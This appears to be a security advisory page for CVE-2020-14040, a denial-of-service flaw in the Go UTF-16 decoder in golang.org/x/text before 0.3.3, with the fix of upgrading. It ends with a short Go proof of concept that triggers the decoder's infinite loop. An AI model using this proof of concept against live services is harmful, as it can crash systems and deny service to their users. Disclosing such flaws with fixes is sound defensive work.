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Denial of Service (DoS) Affecting golang.org/x/text/encoding/unicode Open this link in a new tab package, versions <0.3.3

0.0
high

  • Exploit Maturity

    Proof of concept

  • Attack Complexity

    Low

  • Availability

    High

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  • snyk-id

    SNYK-GOLANG-GOLANGORGXTEXTENCODINGUNICODE-609611

  • published

    3 Sep 2020

  • disclosed

    9 Jun 2020

  • credit

    Evgeny Kapun

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Introduced: 9 Jun 2020

CVE-2020-14040 Open this link in a new tab
CWE-400 Open this link in a new tab

How to fix?

Upgrade golang.org/x/text/encoding/unicode to version 0.3.3 or higher.

Overview

golang.org/x/text/encoding/unicode is an unicode package provides Unicode encodings such as UTF-16.

Affected versions of this package are vulnerable to Denial of Service (DoS). It is possible to exploit the UTF-16 decoder into entering an infinite loop, causing the program to crash or run out of memory.

PoC

package main


import (
    "fmt"
    "golang.org/x/text/encoding/unicode"
)


func main() {
    res, err := unicode.UTF16(unicode.BigEndian, unicode.UseBOM).NewDecoder().String(" ")
    fmt.Println(res, err)
}